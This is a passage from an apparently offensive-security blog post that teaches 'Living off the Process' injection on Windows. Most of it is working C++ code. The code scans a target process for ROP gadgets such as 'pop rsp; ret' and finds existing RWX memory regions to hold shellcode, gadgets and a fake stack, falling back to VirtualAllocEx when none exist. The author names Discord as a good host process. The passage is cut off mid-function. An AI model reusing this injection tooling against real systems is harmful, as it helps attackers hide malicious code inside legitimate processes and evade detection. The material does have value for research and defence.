    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Target PID: "</span> <span class="o">&lt;&lt;</span> <span class="n">pid</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">// Find gadgets (in order of execution)</span>
    <span class="n">BYTE</span> <span class="n">gadget0</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xC3</span> <span class="p">};</span> <span class="c1">// ret</span>
    <span class="n">PVOID</span> <span class="n">pgadget0</span> <span class="o">=</span> <span class="n">FindGadget</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">gadget0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gadget0</span><span class="p">),</span> <span class="s">"ret"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgadget0</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[-] Could not locate any gadgets for: ret"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">BYTE</span> <span class="n">gadget3</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x4C</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xC3</span> <span class="p">};</span> <span class="c1">// mov [rax], r8; ret</span>
    <span class="n">PVOID</span> <span class="n">pgadget3</span> <span class="o">=</span> <span class="n">FindGadget</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">gadget3</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gadget3</span><span class="p">),</span> <span class="s">"mov [rax], r8; ret"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgadget3</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[-] Could not locate any gadgets for mov [rax], r8; ret"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">BYTE</span> <span class="n">gadget12</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x5C</span><span class="p">,</span> <span class="mh">0xC3</span> <span class="p">};</span> <span class="c1">// pop rsp; ret  (go with a non-volatile register)</span>
    <span class="n">PVOID</span> <span class="n">pgadget12</span> <span class="o">=</span> <span class="n">FindGadget</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">gadget12</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gadget12</span><span class="p">),</span> <span class="s">"pop rsp; ret "</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgadget12</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[-] Could not locate any gadgets for pop rsp; ret "</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p><strong>And the FindGadget() function that finds the memory address for each gadget!</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PVOID</span> <span class="nf">FindGadget</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">pid</span><span class="p">,</span> <span class="k">const</span> <span class="n">BYTE</span><span class="o">*</span> <span class="n">gadget</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">gadgetSize</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">description</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_QUERY_INFORMATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_READ</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span> <span class="k">return</span> <span class="nb">nullptr</span><span class="p">;</span>

    <span class="n">HMODULE</span> <span class="n">hMods</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
    <span class="n">DWORD</span> <span class="n">cbNeeded</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">gadgetAddress</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Searching for "</span> <span class="o">&lt;&lt;</span> <span class="n">description</span> <span class="o">&lt;&lt;</span> <span class="s">L"..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">EnumProcessModulesEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">hMods</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hMods</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cbNeeded</span><span class="p">,</span> <span class="n">LIST_MODULES_ALL</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="n">cbNeeded</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">HMODULE</span><span class="p">))</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">gadgetAddress</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">MODULEINFO</span> <span class="n">modInfo</span><span class="p">;</span>
            <span class="n">WCHAR</span> <span class="n">modName</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">GetModuleInformation</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">hMods</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">modInfo</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">modInfo</span><span class="p">))</span> <span class="o">||</span>
                <span class="o">!</span><span class="n">GetModuleBaseNameW</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">hMods</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">modName</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">))</span> <span class="k">continue</span><span class="p">;</span>

            <span class="n">MEMORY_BASIC_INFORMATION</span> <span class="n">mbi</span><span class="p">{};</span>
            <span class="k">for</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span> <span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">modInfo</span><span class="p">.</span><span class="n">lpBaseOfDll</span><span class="p">;</span> <span class="n">addr</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">modInfo</span><span class="p">.</span><span class="n">lpBaseOfDll</span> <span class="o">+</span> <span class="n">modInfo</span><span class="p">.</span><span class="n">SizeOfImage</span><span class="p">;</span> <span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">VirtualQueryEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mbi</span><span class="p">)))</span> <span class="k">break</span><span class="p">;</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">mbi</span><span class="p">.</span><span class="n">State</span> <span class="o">==</span> <span class="n">MEM_COMMIT</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">mbi</span><span class="p">.</span><span class="n">Protect</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">PAGE_EXECUTE</span> <span class="o">|</span> <span class="n">PAGE_EXECUTE_READ</span> <span class="o">|</span> <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">|</span> <span class="n">PAGE_EXECUTE_WRITECOPY</span><span class="p">)))</span> <span class="p">{</span>
                    <span class="n">BYTE</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="k">new</span> <span class="n">BYTE</span><span class="p">[</span><span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">];</span>
                    <span class="n">SIZE_T</span> <span class="n">bytesRead</span><span class="p">;</span>
                    <span class="k">if</span> <span class="p">(</span><span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bytesRead</span><span class="p">))</span> <span class="p">{</span>
                        <span class="k">for</span> <span class="p">(</span><span class="n">SIZE_T</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">+</span> <span class="n">gadgetSize</span> <span class="o">&lt;=</span> <span class="n">bytesRead</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span><span class="p">)</span> <span class="p">{</span>
                            <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">j</span><span class="p">,</span> <span class="n">gadget</span><span class="p">,</span> <span class="n">gadgetSize</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                                <span class="n">gadgetAddress</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">j</span><span class="p">);</span>
                                <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Found in "</span> <span class="o">&lt;&lt;</span> <span class="n">modName</span> <span class="o">&lt;&lt;</span> <span class="s">L" at 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">gadgetAddress</span> <span class="o">&lt;&lt;</span> <span class="s">" !!!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
                                <span class="k">delete</span><span class="p">[]</span> <span class="n">buffer</span><span class="p">;</span>
                                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                                <span class="k">return</span> <span class="n">gadgetAddress</span><span class="p">;</span>
                            <span class="p">}</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                    <span class="k">delete</span><span class="p">[]</span> <span class="n">buffer</span><span class="p">;</span>
                <span class="p">}</span>
                <span class="n">addr</span> <span class="o">+=</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">gadgetAddress</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>That’s a wrap for gadget searching!  Let’s move on to the next requirement for leveraging all the possibilities of LOTP (Living off the Process), finding already created RWX memory regions</p>

<h2 id="finding-existing-rwx-memory-within-the-remote-process">Finding existing RWX memory within the remote Process</h2>

<p>This portion of our <code class="language-plaintext highlighter-rouge">LOTP</code> artifact searching doesn’t require too much effort.  In fact, you can easily check for already created RWX (Read/Write/Execute) memory regions via SystemInformer.  This is probably the easiest artifacts to check as far as Living off the Process goes.  There’s more processes that use RWX than you probably realize 😺  Here’s how to do it.  I’ll be picking on the Discord process as it is a great candidate 😸</p>

<p><strong>System Informer</strong></p>

<p><img width="728" height="420" alt="image" src="https://github.com/user-attachments/assets/f9ed3903-3e81-433a-afe1-8fb9157091fe" /></p>

<p>Now, we want to do the same thing but programatically right?  I’ll share the code to accomplish this below:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Open process</span>
<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Failed to open process (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Successfully opened process handle"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

<span class="n">LPVOID</span> <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="n">LPVOID</span> <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="c1">// Find all RWX memory regions</span>
<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Scanning for RWX memory regions (4KB only)..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

<span class="kt">int</span> <span class="n">reval</span><span class="o">=</span><span class="n">FindRWXMemoryRegions</span><span class="p">(</span><span class="n">shellcode_base</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteShellcode</span><span class="p">,</span> <span class="n">remoteGadgets</span><span class="p">);</span>
</code></pre></div></div>

<p>Now, let me show you the <code class="language-plaintext highlighter-rouge">FindRWXMemoryRegions</code> function itself. We start by looking through all user modules for pre-allocated RWX memory regions.  Then once regions are detected, I added the option for you the user to specify which region is going to serve as the gadgets memory region, the shellcode memory region, and the fake stack memory regions.  If no RWX regions are found, then I added an alternative default to automatically create the necessary RWX regions.  I realize this is counter to the whole notion of LOTP but the functionality is there if you want to use it.  Also, the fake stack memory region always needs to be at least 0x4000 in size or greater.  So when you pick a memory region, bear that in mind.  🐻  The reason being, well there’s two primary reasons.  API’s use up a lot of stack space and I want to make sure when we execute our shellcode we have enough space for that.  Also, I want a clean stack that isn’t clobber by preexisting data from the process we injected into.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">FindRWXMemoryRegions</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode_base</span><span class="p">,</span> <span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span>
    <span class="n">LPVOID</span><span class="o">&amp;</span> <span class="n">remoteShellcode</span><span class="p">,</span> <span class="n">LPVOID</span><span class="o">&amp;</span> <span class="n">remoteGadgets</span><span class="p">,</span> <span class="n">LPVOID</span><span class="o">&amp;</span> <span class="n">remoteStack</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Note: Requires #include &lt;algorithm&gt; for std::sort</span>

    <span class="k">struct</span> <span class="nc">RWXRegion</span> <span class="p">{</span>
        <span class="n">PVOID</span> <span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">SIZE_T</span> <span class="n">size</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wstring</span> <span class="n">info</span><span class="p">;</span>
    <span class="p">};</span>

    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">RWXRegion</span><span class="o">&gt;</span> <span class="n">rwxRegions</span><span class="p">;</span>
    <span class="n">MEMORY_BASIC_INFORMATION</span> <span class="n">mbi</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">address</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>

    <span class="k">while</span> <span class="p">(</span><span class="n">VirtualQueryEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mbi</span><span class="p">))</span> <span class="o">==</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mbi</span><span class="p">))</span> <span class="p">{</span>
        <span class="c1">// Check for RWX (PAGE_EXECUTE_READWRITE) regions with size greater than or equal to 0x1000</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">mbi</span><span class="p">.</span><span class="n">State</span> <span class="o">==</span> <span class="n">MEM_COMMIT</span> <span class="o">&amp;&amp;</span>
            <span class="n">mbi</span><span class="p">.</span><span class="n">Protect</span> <span class="o">==</span> <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">&amp;&amp;</span>
            <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span> <span class="o">&gt;=</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="p">{</span> 

            <span class="n">RWXRegion</span> <span class="n">region</span><span class="p">;</span>
            <span class="n">region</span><span class="p">.</span><span class="n">baseAddress</span> <span class="o">=</span> <span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span><span class="p">;</span>
            <span class="n">region</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">;</span>

            <span class="c1">// Try to get module name for this region</span>
            <span class="n">HMODULE</span> <span class="n">hMod</span><span class="p">;</span>
            <span class="n">WCHAR</span> <span class="n">modName</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">]</span> <span class="o">=</span> <span class="s">L"&lt;Unknown&gt;"</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">GetModuleHandleExW</span><span class="p">(</span><span class="n">GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS</span><span class="p">,</span>
                <span class="p">(</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hMod</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">GetModuleFileNameW</span><span class="p">(</span><span class="n">hMod</span><span class="p">,</span> <span class="n">modName</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
            <span class="p">}</span>

            <span class="n">region</span><span class="p">.</span><span class="n">info</span> <span class="o">=</span> <span class="n">modName</span><span class="p">;</span>
            <span class="n">rwxRegions</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">region</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="c1">// Move to next region</span>
        <span class="n">address</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// Sort regions by size (largest first) to ensure stack gets the largest region</span>
    <span class="n">std</span><span class="o">::</span><span class="n">sort</span><span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">begin</span><span class="p">(),</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">end</span><span class="p">(),</span>
        <span class="p">[](</span><span class="k">const</span> <span class="n">RWXRegion</span><span class="o">&amp;</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">RWXRegion</span><span class="o">&amp;</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="n">a</span><span class="p">.</span><span class="n">size</span> <span class="o">&gt;</span> <span class="n">b</span><span class="p">.</span><span class="n">size</span><span class="p">;</span>
        <span class="p">});</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] No RWX regions found (&gt;=4KB)! Falling back to VirtualAllocEx..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteShellcode</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated shellcode memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Allocate separate region for gadgets</span>
        <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteGadgets</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for gadgets failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated gadgets memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Allocate separate region for clean stack</span>
        <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteStack</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for stack failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated stack memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[+] Found only "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L" RWX region(s) (need 3 for shellcode + gadgets + stack)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Using found regions and allocating remaining..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"["</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="s">L"] Address: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setfill</span><span class="p">(</span><span class="sc">L'0'</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setw</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
                <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">baseAddress</span> <span class="o">&lt;&lt;</span> <span class="s">L" | Size: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span>
